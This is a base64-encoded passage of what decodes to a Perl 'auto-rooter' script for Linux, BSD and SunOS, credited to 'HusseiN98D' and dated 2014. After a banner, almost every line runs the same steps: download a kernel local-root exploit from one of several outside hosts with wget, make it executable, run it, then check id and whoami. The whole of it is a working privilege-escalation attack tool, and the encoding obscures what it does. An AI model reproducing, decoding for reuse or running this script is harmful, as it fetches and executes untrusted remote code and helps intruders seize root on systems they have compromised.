nByaW50ICIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOwpwcmludCAiCQkJCSAgICAgMTkvMDgvMjAxNAkJICAgICAgICAgICBcbiI7CnByaW50ICIJCSAgVG8gcm9vdCBsaW51eCAsIHBlcmwgJDAgbG54ICAgICAgICAgIFxuIjsKcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOwpwcmludCAiCQkgIFRvIHJvb3QgU3VuT1MgLCBwZXJsICQwIHN1bm9zICAgICAgICBcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKCgppZiAoJEFSR1ZbMF0gPX4gImxueCIgKQp7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgIEhhdmUgYSBjb2ZmZSAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgbG54O2NkIGxueCIpOwpwcmludCAiWytdIFdhaXQuLlxuIjsKCnN5c3RlbSgid2dldCB3d3cudHV4LXBsYW5ldC5mci9wdWJsaWMvaGFjay9leHBsb2l0cy9rZXJuZWwvbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcy5jIik7CnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQuYyIpOwpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsKc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94MiIpOwpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOwpzeXN0ZW0oIi4veDIiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94Iik7CnN5c3RlbSgiY2htb2QgNzc3IHgiKTsKc3lzdGVtKCIuL3giKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC91c2VsaWIyNCIpOwpzeXN0ZW0oImNobW9kIDc3NyB1c2VsaWIyNCIpOwpzeXN0ZW0oIi4vdXNlbGliMjQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOwpzeXN0ZW0oImNobW9kIDc3NyByb290MiIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oIi4vcm9vdDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9rbW9kMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOwpzeXN0ZW0oIi4va21vZDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9leHAuc2giKTsKc3lzdGVtKCJjaG1vZCA3NTUgZXhwLnNoIik7CnN5c3RlbSgic2ggZXhwLnNoIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7CnN5c3RlbSgiY2htb2QgNzc3IGVsZmxibCIpOwpzeXN0ZW0oIi4vZWxmbGJsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvY3c3LjMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsKc3lzdGVtKCIuL2N3Ny4zIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsKc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7CnN5c3RlbSgiLi8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsKc3lzdGVtKCIuLzIuNi4zMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExRXhwbG9pdDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiLi8yLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3LXJjMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7CnN5c3RlbSgiLi8yLjYuMzctcmMyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsKc3lzdGVtKCIuLzEtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0zIik7CnN5c3RlbSgiY2htb2QgNzc3IDEtMyIpOwpzeXN0ZW0oIi4vMS0zIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7CnN5c3RlbSgiLi8xLTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDEwIik7CnN5c3RlbSgiLi8xMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTEiKTsKc3lzdGVtKCIuLzExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOwpzeXN0ZW0oIi4vMTIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7CnN5c3RlbSgiLi8xNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUuc2giKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTUuc2giKTsKc3lzdGVtKCIuLzE1LnNoIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOwpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOwpzeXN0ZW0oIi4vMTUxNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7CnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7CnN5c3RlbSgiLi8xNTIwMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTYiKTsKc3lzdGVtKCIuLzE2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsKc3lzdGVtKCIuLzE2LTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7CnN5c3RlbSgiLi8xOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgtNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxOC01Iik7CnN5c3RlbSgiLi8xOC01Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsKc3lzdGVtKCIuLzIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsKc3lzdGVtKCIuLzItMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi02LTktMjAwNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA1Iik7CnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4yMS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xNjQtMjAxMCIpOwpzeXN0ZW0oIi4vMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQuMi0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsKc3lzdGVtKCIuLzIuNi4yMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIwLTIiKTsKc3lzdGVtKCIuLzIuNi4yMC0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgoKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiLi8yLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiLi8yLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7CnN5c3RlbSgiLi8yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsKc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4yOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNV9ob29seXNoaXQiKTsKc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsKc3lzdGVtKCIuLzIuNi42LTM0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNl9oMDBseXNoaXQiKTsKc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oIi4vMi42LjgtMjAwOC45LTY3LTIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOwpzeXN0ZW0oIi4vMi42LjkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTIwMDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwNCIpOwpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS0yMDA4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOwpzeXN0ZW0oIi4vMi42LjktMzQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS00Mi4wLjMuRUxzbXAiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOwpzeXN0ZW0oIi4vMi42LjktNTUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvb